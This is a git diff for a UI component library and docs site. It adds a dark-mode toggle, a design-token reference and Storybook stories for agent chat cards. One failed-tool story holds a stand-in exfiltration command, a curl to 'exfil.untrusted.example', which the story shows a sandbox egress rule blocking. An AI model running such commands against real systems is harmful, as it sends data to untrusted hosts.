diff --git a/docs/index.md b/docs/index.md index 6b9fb693c..fd5361ce3 100644 --- a/docs/index.md +++ b/docs/index.md @@ -54,8 +54,54 @@ hide: + + + + + + + + + +
diff --git a/docs/ja/index.md b/docs/ja/index.md index a3717d72f..072acd0cc 100644 --- a/docs/ja/index.md +++ b/docs/ja/index.md @@ -30,8 +30,54 @@ hide: + + + + + + + + + +
diff --git a/docs/javascripts/home.js b/docs/javascripts/home.js index 1cbb04e37..f01b7fb79 100644 --- a/docs/javascripts/home.js +++ b/docs/javascripts/home.js @@ -447,6 +447,64 @@ }); } + function initCelestialToggle() { + var btn = document.querySelector(".sf-celestial"); + if (!btn || btn.dataset.sfInit === "1") return; + btn.dataset.sfInit = "1"; + + var lang = getPageLang(); + var labels = { + en: { toDark: "Switch to dark mode", toLight: "Switch to light mode" }, + zh: { toDark: "切换到黑天模式", toLight: "切换到白天模式" }, + ja: { toDark: "ダークモードに切替", toLight: "ライトモードに切替" } + }; + var copy = labels[lang] || labels.en; + + function isDark() { + return document.body.getAttribute("data-md-color-scheme") === "slate"; + } + + function syncLabel() { + var dark = isDark(); + var text = dark ? copy.toLight : copy.toDark; + btn.setAttribute("aria-pressed", dark ? "true" : "false"); + btn.setAttribute("aria-label", text); + btn.setAttribute("title", text); + } + + btn.addEventListener("click", function () { + var targetScheme = isDark() ? "default" : "slate"; + var radio = document.querySelector( + 'input[name="__palette"][data-md-color-scheme="' + targetScheme + '"]' + ); + if (radio) { + radio.click(); + } else { + document.body.setAttribute("data-md-color-scheme", targetScheme); + } + syncLabel(); + }); + + if (typeof MutationObserver !== "undefined" && !window.__sfPaletteObs) { + window.__sfPaletteObs = new MutationObserver(function () { + var current = document.querySelector(".sf-celestial"); + if (!current) return; + var dark = isDark(); + var l = labels[getPageLang()] || labels.en; + var text = dark ? l.toLight : l.toDark; + current.setAttribute("aria-pressed", dark ? "true" : "false"); + current.setAttribute("aria-label", text); + current.setAttribute("title", text); + }); + window.__sfPaletteObs.observe(document.body, { + attributes: true, + attributeFilter: ["data-md-color-scheme"] + }); + } + + syncLabel(); + } + function initLanguagePreference() { if (window.__sfLangBound) return; window.__sfLangBound = true; @@ -462,6 +520,7 @@ function boot() { initLanguagePreference(); if (!document.querySelector(".sf-hero")) return; + initCelestialToggle(); initRunTerminal(); initBenchmarkInteractions(); initLoopStage(); diff --git a/docs/stylesheets/home.css b/docs/stylesheets/home.css index 9d533700a..7a85a6b54 100644 --- a/docs/stylesheets/home.css +++ b/docs/stylesheets/home.css @@ -281,7 +281,67 @@ body:has(.sf-hero) .md-button--primary:hover { } [data-md-color-scheme="slate"] .sf-px-clouds { - opacity: 0.28; + opacity: 0.45; +} + +.sf-px-stars { + opacity: 0; + transition: opacity 0.25s ease; +} + +[data-md-color-scheme="slate"] .sf-px-stars { + opacity: 0.95; +} + +/* Pixel Sun / Moon theme toggle floating in the hero sky */ +button.sf-celestial { + position: absolute; + top: 1.05rem; + right: 11.4rem; + z-index: 3; + display: inline-flex; + align-items: center; + justify-content: center; + width: 3rem; + height: 3rem; + padding: 0; + margin: 0; + border: 0; + background: transparent; + cursor: pointer; + transition: transform 0.14s ease, filter 0.14s ease; +} + +button.sf-celestial:hover { + transform: translateY(-2px) scale(1.08); + filter: drop-shadow(3px 3px 0 #1e242b); +} + +button.sf-celestial:active { + transform: translate(1px, 1px) scale(0.98); +} + +button.sf-celestial:focus-visible { + outline: 3px solid var(--px-blue); + outline-offset: 2px; +} + +.sf-celestial-svg { + width: 100%; + height: 100%; + display: block; +} + +.sf-celestial-moon { + display: none; +} + +[data-md-color-scheme="slate"] .sf-celestial-sun { + display: none; +} + +[data-md-color-scheme="slate"] .sf-celestial-moon { + display: block; } .sf-px-ground { @@ -1649,6 +1709,13 @@ a.sf-brand-item:hover span { opacity: 0.45; } + button.sf-celestial { + top: 0.65rem; + right: 0.65rem; + width: 2.25rem; + height: 2.25rem; + } + .sf-hero-logo-wrap { padding: 0.3rem; margin-bottom: 0.35rem; diff --git a/docs/zh/index.md b/docs/zh/index.md index 7222c4150..3552c6825 100644 --- a/docs/zh/index.md +++ b/docs/zh/index.md @@ -30,8 +30,54 @@ hide: + + + + + + + + + +
diff --git a/packages/agent-ui/ts/src/DesignTokens.mdx b/packages/agent-ui/ts/src/DesignTokens.mdx new file mode 100644 index 000000000..fd02e564f --- /dev/null +++ b/packages/agent-ui/ts/src/DesignTokens.mdx @@ -0,0 +1,83 @@ +import { Meta } from '@storybook/blocks'; + + + +# Design Tokens & Tailwind Preset + +`@steerable/agent-ui` ships semantic CSS variables and animations via `@steerable/agent-ui/tailwind-preset` so host apps can rebrand every component without modifying JSX. + +## Semantic Tokens (`--agent-*`) + +| Token | Tailwind utility | Light default | Purpose | +| --- | --- | --- | --- | +| `--agent-canvas` | `bg-agent-canvas` | `0 0% 100%` | Primary surface background | +| `--agent-foreground` | `text-agent-foreground` | `240 10% 3.9%` | Primary body copy | +| `--agent-muted` | `bg-agent-muted` | `240 4.8% 95.9%` | Secondary cards, pills, and subtle containers | +| `--agent-muted-foreground` | `text-agent-muted-foreground` | `240 5% 32%` | Secondary labels and timestamps (WCAG AA ≥ 4.5:1) | +| `--agent-border` | `border-agent-border` | `240 5.9% 90%` | Card and control outlines | +| `--agent-accent` | `bg-agent-accent` / `text-agent-accent` | `217 91% 42%` | Primary actions and active indicators | +| `--agent-accent-foreground` | `text-agent-accent-foreground` | `0 0% 100%` | Text/icons rendered on top of `--agent-accent` | +| `--agent-destructive` | `text-agent-destructive` | `0 75% 42%` | Errors, failed runs, and destructive actions | +| `--agent-tool-read` | `text-agent-tool-read` | `142 71% 22%` | Read-only tool badges | +| `--agent-tool-write` | `text-agent-tool-write` | `28 90% 28%` | Mutating tool badges | +| `--agent-tool-destructive` | `text-agent-tool-destructive` | `0 75% 42%` | High-risk / destructive tool badges | +| `--agent-radius` | `rounded-agent-sm` / `md` / `lg` | `0.75rem` | Base radius scaled down by `4px` and `2px` | + +## Animations + +* `animate-agent-cursor-blink` — 1s stepped cursor blink during token streaming. +* `animate-agent-shimmer` — 2s linear shimmer for pending/loading skeletons. + +## Tailwind v3 Setup + +```ts +// tailwind.config.ts +import preset from '@steerable/agent-ui/tailwind-preset'; + +export default { + presets: [preset], + content: [ + './src/**/*.{ts,tsx}', + './node_modules/@steerable/agent-ui/dist/**/*.{js,mjs}', + ], +}; +``` + +Override tokens in your global stylesheet: + +```css +:root { + --agent-accent: 152 62% 31%; + --agent-radius: 0.5rem; +} + +.dark { + --agent-canvas: 240 10% 3.9%; + --agent-foreground: 0 0% 98%; +} +``` + +## Tailwind v4 Setup (`@theme`) + +When using `@tailwindcss/vite` or Tailwind v4 CSS-first configuration, define `--color-agent-*`, `--radius-agent-*`, and `--animate-agent-*` directly inside `@theme` (see `packages/agent-ui/ts/.storybook/preview.css`): + +```css +@import "tailwindcss"; + +@theme { + --color-agent-canvas: hsl(0 0% 100%); + --color-agent-foreground: hsl(240 10% 3.9%); + --color-agent-muted: hsl(240 4.8% 95.9%); + --color-agent-muted-foreground: hsl(240 5% 32%); + --color-agent-border: hsl(240 5.9% 90%); + --color-agent-accent: hsl(217 91% 42%); + --color-agent-accent-foreground: hsl(0 0% 100%); + --color-agent-destructive: hsl(0 75% 42%); + --color-agent-tool-read: hsl(142 71% 22%); + --color-agent-tool-write: hsl(28 90% 28%); + --color-agent-tool-destructive: hsl(0 75% 42%); + --radius-agent-sm: calc(0.75rem - 4px); + --radius-agent-md: calc(0.75rem - 2px); + --radius-agent-lg: 0.75rem; +} +``` diff --git a/packages/agent-ui/ts/src/Introduction.mdx b/packages/agent-ui/ts/src/Introduction.mdx index cfb627e6b..317f03262 100644 --- a/packages/agent-ui/ts/src/Introduction.mdx +++ b/packages/agent-ui/ts/src/Introduction.mdx @@ -4,22 +4,32 @@ import { Meta } from '@storybook/blocks'; # @steerable/agent-ui -> Headless React building blocks for Steerable agent UIs — chat shells, tool-call cards, orchestration plans, raw SSE inspectors, plus the hooks that wire them to any transport. +> Headless React building blocks for Steerable agent UIs — 7 core components, 14 structured message cards, state/transport helpers, and 3 lifecycle hooks. This package ships the visual surface area you need to drop a Steerable agent into a React app, plus the lifecycle hooks that own message state and tool-call status. Components are intentionally **headless**: they render through Tailwind utility classes built on a small set of `--agent-*` design tokens, so consuming apps can theme them, replace any subtree, or compose them into bespoke layouts without forking. ## What's in this Storybook -* **Components** — visual primitives: - * [`ChatPanel`](?path=/docs/components-chatpanel--docs) — the foundational chat shell (`MessageList` + composer + stop button). +* **Components** (`@steerable/agent-ui`) — core chat primitives: + * [`ChatPanel`](?path=/docs/components-chatpanel--docs) — foundational chat shell (`MessageList` + composer + stop button). * [`MessageList`](?path=/docs/components-messagelist--docs) — auto-scrolling list with a render-prop bubble. + * [`AgentSelector`](?path=/docs/components-agentselector--docs) — segmented selector for switching the active chat agent. + * [`ModelSelector`](?path=/docs/components-modelselector--docs) — gateway model catalog picker with reasoning effort controls. * [`OrchestrationPlanCard`](?path=/docs/components-orchestrationplancard--docs) — multi-step plan with per-step status. * [`ToolCallRenderer`](?path=/docs/components-toolcallrenderer--docs) — tool-call card with mode badges, approval, expandable args/result. - * [`SSEStreamView`](?path=/docs/components-ssestreamview--docs) — append-only SSE event log, useful in trace tabs and dev consoles. -* **Hooks** — transport-agnostic state: + * [`SSEStreamView`](?path=/docs/components-ssestreamview--docs) — append-only SSE event log for trace tabs and dev consoles. +* **Cards** (`@steerable/agent-ui/cards`) — 14 structured block renderers backed by `spec/blocks/*.schema.json`: + * [`ToolExecutionCard`](?path=/docs/cards-toolexecutioncard--docs) · [`ActionSegmentCard`](?path=/docs/cards-actionsegmentcard--docs) · [`ThinkingProcessCard`](?path=/docs/cards-thinkingprocesscard--docs) · [`SummaryMessageCard`](?path=/docs/cards-summarymessagecard--docs) + * [`OrchestrationPlanCard`](?path=/docs/cards-orchestrationplancard--docs) · [`PlanStepsCard`](?path=/docs/cards-planstepscard--docs) · [`PlanSelectorCard`](?path=/docs/cards-planselectorcard--docs) · [`ResearchPlanCard`](?path=/docs/cards-researchplancard--docs) + * [`AskUserQuestionsCard`](?path=/docs/cards-askuserquestionscard--docs) · [`SuggestedRepliesCard`](?path=/docs/cards-suggestedrepliescard--docs) · [`SearchSourcesCard`](?path=/docs/cards-searchsourcescard--docs) + * [`AnalysisDocumentCard`](?path=/docs/cards-analysisdocumentcard--docs) · [`QuizCard`](?path=/docs/cards-quizcard--docs) · [`CoverageReportCard`](?path=/docs/cards-coveragereportcard--docs) +* **Hooks** (`@steerable/agent-ui/hooks`) — transport-agnostic state: * [`useChatStream`](?path=/docs/hooks-usechatstream--docs) — owns message state and translates `SSEEvent` into `ChatMessage` mutations. * [`useToolCallStatus`](?path=/docs/hooks-usetoolcallstatus--docs) — derives status + mode + approval requirements for a single tool call. * [`useAgentSession`](?path=/docs/hooks-useagentsession--docs) — wraps create / resume / list against any session storage adapter. +* **State & Transport** (`@steerable/agent-ui/state`) & **Design Tokens** (`@steerable/agent-ui/tailwind-preset`): + * [`MockChatStreamTransport`](?path=/docs/state-mockchatstreamtransport--docs) — scripted SSE replay transport for tests and demos. + * [`Design Tokens`](?path=/docs/design-tokens--docs) — full `--agent-*` CSS variable reference and Tailwind v3 / v4 integration. ## Installation (consuming app) @@ -41,14 +51,14 @@ export default { }; ``` -For Tailwind v4 callers, mirror the design tokens with `@theme` (see `apps/web/src/app/globals.css` in `deeppath` for an in-tree example, and `packages/agent-ui/ts/.storybook/preview.css` here for a minimal copy you can paste). +For Tailwind v4 callers, mirror the design tokens with `@theme` (see [Design Tokens](?path=/docs/design-tokens--docs) and `packages/agent-shell/web/src/styles/index.css` for an in-tree reference). ## Design philosophy -1. **Headless first.** Every component takes a render prop or accepts `children` for the parts a real app wants to customise (markdown rendering, mention chips, search-source pills, …). Defaults are dumb on purpose so you don't end up forking the whole component to swap one row. +1. **Headless first.** Every component takes a render prop or accepts `children` for the parts a real app wants to customise (markdown rendering, mention chips, search-source pills, …). Defaults stay minimal so you never fork a component to swap one row. 2. **One token vocabulary.** All colors, radii, and animations come from `--agent-*` variables. Themes ship as CSS overrides, never as React props. -3. **Transport-agnostic hooks.** `useChatStream` and friends never speak HTTP or know which provider serves the events — they call into a transport you pass in. This is what lets `deeppath/apps/web` and `deeppath-agent` share the same chat surface while one talks to FastAPI/SSE and the other talks to the embedded sidecar over IPC. -4. **Mirror the framework spec.** `ChatMessage`, `ToolCall`, `ToolResult`, `SSEEvent`, `AgentSession` are imported from `@steerable/agent-protocol`, which is generated from the JSON schemas in `spec/`. The TS and Py worlds stay lock-step. +3. **Transport-agnostic hooks.** `useChatStream` and friends never speak HTTP or know which provider serves the events — they call into a transport you pass in, letting FastAPI/SSE hosts and embedded desktop sidecars share the same React UI. +4. **Mirror the framework spec.** `ChatMessage`, `ToolCall`, `ToolResult`, `SSEEvent`, `AgentSession`, and card block payloads come from `@steerable/agent-protocol`, generated from JSON schemas in `spec/`. ## Working with this Storybook locally @@ -56,16 +66,6 @@ For Tailwind v4 callers, mirror the design tokens with `@theme` (see `apps/web/s cd packages/agent-ui/ts pnpm storybook # http://localhost:6006 pnpm storybook:build # static bundle in storybook-static/ -``` - -To regenerate visual snapshots (Phase 6, Playwright VRT): - -```bash -pnpm storybook:vrt --update-snapshots -``` - -To run the headless mount + a11y test suite: - -```bash -pnpm storybook:test # expects pnpm storybook to be running on :6006 +pnpm storybook:test # axe a11y + mount checks (with storybook running on :6006) +pnpm storybook:vrt # Playwright visual regression ``` diff --git a/packages/agent-ui/ts/src/cards/ActionSegmentCard.stories.tsx b/packages/agent-ui/ts/src/cards/ActionSegmentCard.stories.tsx new file mode 100644 index 000000000..3412a642a --- /dev/null +++ b/packages/agent-ui/ts/src/cards/ActionSegmentCard.stories.tsx @@ -0,0 +1,57 @@ +import type { Meta, StoryObj } from '@storybook/react'; +import { ActionSegmentCard } from './ActionSegmentCard.js'; + +const meta: Meta = { + title: 'Cards/ActionSegmentCard', + component: ActionSegmentCard, + parameters: { + layout: 'centered', + docs: { + description: { + component: + 'Groups sequential or parallel tool segments inside a single assistant turn using `ToolExecutionCard` rows.', + }, + }, + }, + decorators: [ + (Story) => ( +
+ +
+ ), + ], +}; + +export default meta; +type Story = StoryObj; + +export const Default: Story = { + args: { + payload: { + segments: [ + { + id: 'seg-1', + kind: 'local_read_file', + status: 'succeeded', + label: 'Read docs/spec/runtime-contract.json', + args: { path: 'docs/spec/runtime-contract.json' }, + output: '38 RPC methods loaded', + error: null, + startedAt: null, + finishedAt: null, + }, + { + id: 'seg-2', + kind: 'local_exec_shell', + status: 'running', + label: 'Running conformance checks', + args: { command: 'pnpm --filter @steerable/agent-protocol test' }, + output: null, + error: null, + startedAt: null, + finishedAt: null, + }, + ], + }, + }, +}; diff --git a/packages/agent-ui/ts/src/cards/AnalysisDocumentCard.stories.tsx b/packages/agent-ui/ts/src/cards/AnalysisDocumentCard.stories.tsx new file mode 100644 index 000000000..1f747e6ae --- /dev/null +++ b/packages/agent-ui/ts/src/cards/AnalysisDocumentCard.stories.tsx @@ -0,0 +1,38 @@ +import type { Meta, StoryObj } from '@storybook/react'; +import { AnalysisDocumentCard } from './AnalysisDocumentCard.js'; + +const meta: Meta = { + title: 'Cards/AnalysisDocumentCard', + component: AnalysisDocumentCard, + parameters: { + layout: 'centered', + docs: { + description: { + component: + 'Structured long-form analysis report container with pluggable `renderMarkdown` and footer slots.', + }, + }, + }, + decorators: [ + (Story) => ( +
+ +
+ ), + ], +}; + +export default meta; +type Story = StoryObj; + +export const Default: Story = { + args: { + payload: { + title: 'Sandbox & Egress Confinement Audit', + createdAt: '2026-11-17T09:00:00Z', + modelId: 'glm-5.3-flash', + body: 'All 38 JSON-RPC sidecar methods operate under Seatbelt/bwrap confinement with per-host CONNECT allow-listing.', + }, + renderMarkdown: (body) =>

{body}

, + }, +}; diff --git a/packages/agent-ui/ts/src/cards/AnalysisDocumentCard.tsx b/packages/agent-ui/ts/src/cards/AnalysisDocumentCard.tsx index 87f2876a6..25d0afd35 100644 --- a/packages/agent-ui/ts/src/cards/AnalysisDocumentCard.tsx +++ b/packages/agent-ui/ts/src/cards/AnalysisDocumentCard.tsx @@ -49,16 +49,16 @@ export const AnalysisDocumentCard: React.FC = ({ > {payload.title && headerVariant === 'strip' ? (
- + {payload.title}
) : (
- +

{payload.title || '分析报告'}

{payload.modelId && ( - + {payload.modelId} )} diff --git a/packages/agent-ui/ts/src/cards/AskUserQuestionsCard.stories.tsx b/packages/agent-ui/ts/src/cards/AskUserQuestionsCard.stories.tsx new file mode 100644 index 000000000..f8f89e55b --- /dev/null +++ b/packages/agent-ui/ts/src/cards/AskUserQuestionsCard.stories.tsx @@ -0,0 +1,66 @@ +import type { Meta, StoryObj } from '@storybook/react'; +import { AskUserQuestionsCard } from './AskUserQuestionsCard.js'; + +const meta: Meta = { + title: 'Cards/AskUserQuestionsCard', + component: AskUserQuestionsCard, + parameters: { + layout: 'centered', + actions: { argTypesRegex: '^on[A-Z].*' }, + docs: { + description: { + component: + 'Structured multi-question prompt emitted by `ask_user`, supporting single-select, multi-select, custom free-text, and read-only answered states.', + }, + }, + }, + decorators: [ + (Story) => ( +
+ +
+ ), + ], +}; + +export default meta; +type Story = StoryObj; + +export const Interactive: Story = { + args: { + allowCustomText: true, + onSubmit: () => {}, + onAutoContinue: () => {}, + payload: { + intro: 'Choose how to configure the sandbox before running tests:', + questions: [ + { + id: 'q1', + text: 'Which egress policy should this session enforce?', + type: 'select', + options: ['Allow-list only (recommended)', 'Offline (no network)', 'Audit mode'], + multiSelect: false, + }, + ], + }, + }, +}; + +export const Answered: Story = { + args: { + onSubmit: () => {}, + payload: { + intro: 'Choose how to configure the sandbox before running tests:', + questions: [ + { + id: 'q1', + text: 'Which egress policy should this session enforce?', + type: 'select', + options: ['Allow-list only (recommended)', 'Offline (no network)'], + multiSelect: false, + }, + ], + answers: { q1: 'Allow-list only (recommended)' }, + }, + }, +}; diff --git a/packages/agent-ui/ts/src/cards/AskUserQuestionsCard.tsx b/packages/agent-ui/ts/src/cards/AskUserQuestionsCard.tsx index 82d162441..46147a672 100644 --- a/packages/agent-ui/ts/src/cards/AskUserQuestionsCard.tsx +++ b/packages/agent-ui/ts/src/cards/AskUserQuestionsCard.tsx @@ -193,7 +193,7 @@ export const AskUserQuestionsCard: React.FC = ({
{!payload.intro && ( - + )} {payload.intro ? (

{payload.intro}

@@ -223,7 +223,7 @@ export const AskUserQuestionsCard: React.FC = ({
  • {q.header && ( - + {q.header} )} @@ -231,7 +231,7 @@ export const AskUserQuestionsCard: React.FC = ({

    {idx + 1}. {q.text} {!inputOnly && q.multiSelect && ( - + {multiSelectLabel} )} @@ -244,7 +244,7 @@ export const AskUserQuestionsCard: React.FC = ({ placeholder={q.placeholder || (q.type === 'password' ? '输入密码' : '输入你的回答...')} value={customText[q.id] || ''} onChange={(e) => setCustomText((p) => ({ ...p, [q.id]: e.target.value }))} - className="w-full rounded-lg border border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-background,#fff)] px-3 py-1.5 text-xs text-[var(--agent-foreground,#111827)] outline-none placeholder:text-[var(--agent-muted-foreground,#6b7280)] focus:border-[var(--agent-primary,#18181b)] focus:ring-1 focus:ring-[var(--agent-primary,#18181b)] disabled:cursor-not-allowed disabled:opacity-60" + className="w-full rounded-lg border border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-background,#fff)] px-3 py-1.5 text-xs text-[var(--agent-foreground,#111827)] outline-none placeholder:text-[var(--agent-muted-foreground,#4b5563)] focus:border-[var(--agent-primary,#18181b)] focus:ring-1 focus:ring-[var(--agent-primary,#18181b)] disabled:cursor-not-allowed disabled:opacity-60" /> )} @@ -269,7 +269,7 @@ export const AskUserQuestionsCard: React.FC = ({ 'rounded-full border px-3 py-1.5 text-xs font-medium transition-all duration-200', selected ? 'border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-muted,#f3f4f6)] text-[var(--agent-foreground,#111827)] ring-1 ring-[var(--agent-border,#e5e7eb)]' - : 'border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-card-bg,#fff)] text-[var(--agent-muted-foreground,#6b7280)] hover:bg-[var(--agent-muted,#f3f4f6)] hover:text-[var(--agent-foreground,#111827)]', + : 'border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-card-bg,#fff)] text-[var(--agent-muted-foreground,#4b5563)] hover:bg-[var(--agent-muted,#f3f4f6)] hover:text-[var(--agent-foreground,#111827)]', isReadOnly ? 'cursor-not-allowed opacity-60' : 'cursor-pointer', ].join(' ')} > @@ -287,7 +287,7 @@ export const AskUserQuestionsCard: React.FC = ({ disabled={isReadOnly} onClick={() => enterCustom(q.id)} className={[ - 'rounded-full border border-dashed border-[var(--agent-border,#e5e7eb)] px-3 py-1.5 text-xs font-medium text-[var(--agent-muted-foreground,#6b7280)] transition-all duration-200 hover:bg-[var(--agent-muted,#f3f4f6)] hover:text-[var(--agent-foreground,#111827)]', + 'rounded-full border border-dashed border-[var(--agent-border,#e5e7eb)] px-3 py-1.5 text-xs font-medium text-[var(--agent-muted-foreground,#4b5563)] transition-all duration-200 hover:bg-[var(--agent-muted,#f3f4f6)] hover:text-[var(--agent-foreground,#111827)]', isReadOnly ? 'cursor-not-allowed opacity-60' : 'cursor-pointer', ].join(' ')} > @@ -309,13 +309,13 @@ export const AskUserQuestionsCard: React.FC = ({ onChange={(e) => setCustomText((p) => ({ ...p, [q.id]: e.target.value })) } - className="flex-1 rounded-lg border border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-background,#fff)] px-3 py-1.5 text-xs text-[var(--agent-foreground,#111827)] outline-none placeholder:text-[var(--agent-muted-foreground,#6b7280)] focus:border-[var(--agent-primary,#18181b)] focus:ring-1 focus:ring-[var(--agent-primary,#18181b)] disabled:cursor-not-allowed disabled:opacity-60" + className="flex-1 rounded-lg border border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-background,#fff)] px-3 py-1.5 text-xs text-[var(--agent-foreground,#111827)] outline-none placeholder:text-[var(--agent-muted-foreground,#4b5563)] focus:border-[var(--agent-primary,#18181b)] focus:ring-1 focus:ring-[var(--agent-primary,#18181b)] disabled:cursor-not-allowed disabled:opacity-60" /> @@ -329,14 +329,14 @@ export const AskUserQuestionsCard: React.FC = ({ {payload.outro && ( -

    +

    {payload.outro}

    )} {!isReadOnly && onSubmit && (
    - + {bottomHint}
    {renderSectionStats && ( -
    +
    {asReactNode(renderSectionStats(section))}
    )} @@ -142,13 +142,13 @@ export const CoverageReportCard: React.FC = ({
    -
    +
    薄弱知识点
    {weakPoints.length === 0 ? ( emptyWeakPointsLabel ? ( -
    +
    {emptyWeakPointsLabel}
    @@ -169,7 +169,7 @@ export const CoverageReportCard: React.FC = ({ {point.name} {point.sectionName ? ` · ${point.sectionName}` : ''}

    -

    +

    正确率 {pct(point.accuracy)} · {point.recommendation}

    @@ -182,10 +182,10 @@ export const CoverageReportCard: React.FC = ({
  • {wp.name} {wp.sectionName && ( - · {wp.sectionName} + · {wp.sectionName} )} - · 正确率 {pct(wp.accuracy)} -

    {wp.recommendation}

    + · 正确率 {pct(wp.accuracy)} +

    {wp.recommendation}

  • ))} @@ -194,7 +194,7 @@ export const CoverageReportCard: React.FC = ({ {payload.actions?.allowRemediateQuiz && onRemediate && weakPoints.length > 0 && (
    - + {remediateHint}
    )} {renderHeader && goalLabel && ( -

    {goalLabel}

    +

    {goalLabel}

    )}
    @@ -171,7 +171,7 @@ export const PlanSelectorCard: React.FC = ({ )}
    -

    +

    {p.summary}

    @@ -179,7 +179,7 @@ export const PlanSelectorCard: React.FC = ({
    {p.metrics?.duration && ( - + {p.metrics.duration} @@ -203,7 +203,7 @@ export const PlanSelectorCard: React.FC = ({ {body && ( -
    +
    {body}
    )} @@ -127,7 +127,7 @@ export const SummaryMessageCard: React.FC = ({ type="button" onClick={() => canToggle && setExpanded((v) => !v)} disabled={!canToggle} - className="flex w-full items-center gap-2 px-3 py-2 text-left text-[var(--agent-muted-foreground,#6b7280)]" + className="flex w-full items-center gap-2 px-3 py-2 text-left text-[var(--agent-muted-foreground,#4b5563)]" > {isPending ? : } {labelNode} diff --git a/packages/agent-ui/ts/src/cards/ThinkingProcessCard.stories.tsx b/packages/agent-ui/ts/src/cards/ThinkingProcessCard.stories.tsx new file mode 100644 index 000000000..9cb8ebbc0 --- /dev/null +++ b/packages/agent-ui/ts/src/cards/ThinkingProcessCard.stories.tsx @@ -0,0 +1,47 @@ +import type { Meta, StoryObj } from '@storybook/react'; +import { ThinkingProcessCard } from './ThinkingProcessCard.js'; + +const meta: Meta = { + title: 'Cards/ThinkingProcessCard', + component: ThinkingProcessCard, + parameters: { + layout: 'centered', + docs: { + description: { + component: + 'Collapsible reasoning block supporting streaming auto-expand, elapsed thinking duration, and custom markdown rendering.', + }, + }, + }, + decorators: [ + (Story) => ( +
    + +
    + ), + ], +}; + +export default meta; +type Story = StoryObj; + +export const Expanded: Story = { + args: { + durationMs: 1420, + payload: { + defaultExpanded: true, + body: 'Round 1 emitted a plain-text block. Parsing arguments, running inside Seatbelt confinement, and verifying pytest output before replying.', + }, + }, +}; + +export const Streaming: Story = { + args: { + isStreaming: true, + autoExpandWhileStreaming: true, + payload: { + defaultExpanded: true, + body: 'Checking runtime contract against generated TypeScript and Pydantic schemas…', + }, + }, +}; diff --git a/packages/agent-ui/ts/src/cards/ThinkingProcessCard.tsx b/packages/agent-ui/ts/src/cards/ThinkingProcessCard.tsx index b11f387fe..9ba803db2 100644 --- a/packages/agent-ui/ts/src/cards/ThinkingProcessCard.tsx +++ b/packages/agent-ui/ts/src/cards/ThinkingProcessCard.tsx @@ -105,7 +105,7 @@ export const ThinkingProcessCard: React.FC = ({ : defaultLabel; const defaultBodyClasses = - 'whitespace-pre-wrap break-words font-sans text-xs leading-relaxed text-[var(--agent-muted-foreground,#6b7280)]'; + 'whitespace-pre-wrap break-words font-sans text-xs leading-relaxed text-[var(--agent-muted-foreground,#4b5563)]'; return (
    @@ -116,18 +116,18 @@ export const ThinkingProcessCard: React.FC = ({ 'flex items-center gap-1 text-xs transition-colors duration-200', isStreaming ? 'font-medium text-[var(--agent-foreground,#111827)]' - : 'text-[var(--agent-muted-foreground,#6b7280)] hover:text-[var(--agent-foreground,#111827)]', + : 'text-[var(--agent-muted-foreground,#4b5563)] hover:text-[var(--agent-foreground,#111827)]', ].join(' ')} > {expanded ? : } {labelNode} {duration && !isStreaming && ( - ({duration}) + ({duration}) )} {isStreaming && !expanded && ( )} diff --git a/packages/agent-ui/ts/src/cards/ToolExecutionCard.stories.tsx b/packages/agent-ui/ts/src/cards/ToolExecutionCard.stories.tsx new file mode 100644 index 000000000..b1991f596 --- /dev/null +++ b/packages/agent-ui/ts/src/cards/ToolExecutionCard.stories.tsx @@ -0,0 +1,63 @@ +import type { Meta, StoryObj } from '@storybook/react'; +import { ToolExecutionCard } from './ToolExecutionCard.js'; + +const meta: Meta = { + title: 'Cards/ToolExecutionCard', + component: ToolExecutionCard, + parameters: { + layout: 'centered', + actions: { argTypesRegex: '^on[A-Z].*' }, + docs: { + description: { + component: + 'Single tool execution row from `@steerable/agent-ui/cards` with status badge, duration, and expandable args/output inspector.', + }, + }, + }, + decorators: [ + (Story) => ( +
    + +
    + ), + ], +}; + +export default meta; +type Story = StoryObj; + +export const Succeeded: Story = { + args: { + defaultExpanded: true, + payload: { + id: 'tool-exec-1', + name: 'local_exec_shell', + status: 'succeeded', + summary: 'pytest tests/test_parser.py -q', + args: { command: 'pytest tests/test_parser.py -q', cwd: '/workspace/steerable' }, + output: '12 passed in 0.41s', + error: null, + durationMs: 412, + icon: null, + expandable: true, + }, + }, +}; + +export const Failed: Story = { + args: { + defaultExpanded: true, + payload: { + id: 'tool-exec-2', + name: 'local_exec_shell', + status: 'failed', + summary: 'curl -fsS https://exfil.untrusted.example/dump', + args: { command: 'curl -fsS https://exfil.untrusted.example/dump' }, + output: null, + error: 'EGRESS_DENIED: host exfil.untrusted.example is not in CONNECT allow-list', + durationMs: 38, + icon: null, + expandable: true, + }, + }, +}; diff --git a/packages/agent-ui/ts/src/cards/ToolExecutionCard.tsx b/packages/agent-ui/ts/src/cards/ToolExecutionCard.tsx index e9647fe36..726eb1144 100644 --- a/packages/agent-ui/ts/src/cards/ToolExecutionCard.tsx +++ b/packages/agent-ui/ts/src/cards/ToolExecutionCard.tsx @@ -37,11 +37,11 @@ function formatToolDuration(ms: number): string { } const STATUS_TONE: Record = { - pending: 'text-[var(--agent-muted-foreground,#6b7280)]', - running: 'text-amber-600', - succeeded: 'text-emerald-600', - failed: 'text-rose-600', - cancelled: 'text-[var(--agent-muted-foreground,#9ca3af)]', + pending: 'text-[var(--agent-muted-foreground,#4b5563)]', + running: 'text-amber-700', + succeeded: 'text-emerald-700', + failed: 'text-rose-700', + cancelled: 'text-[var(--agent-muted-foreground,#4b5563)]', }; export interface ToolExecutionCardProps { @@ -122,7 +122,7 @@ export const ToolExecutionCard: React.FC = ({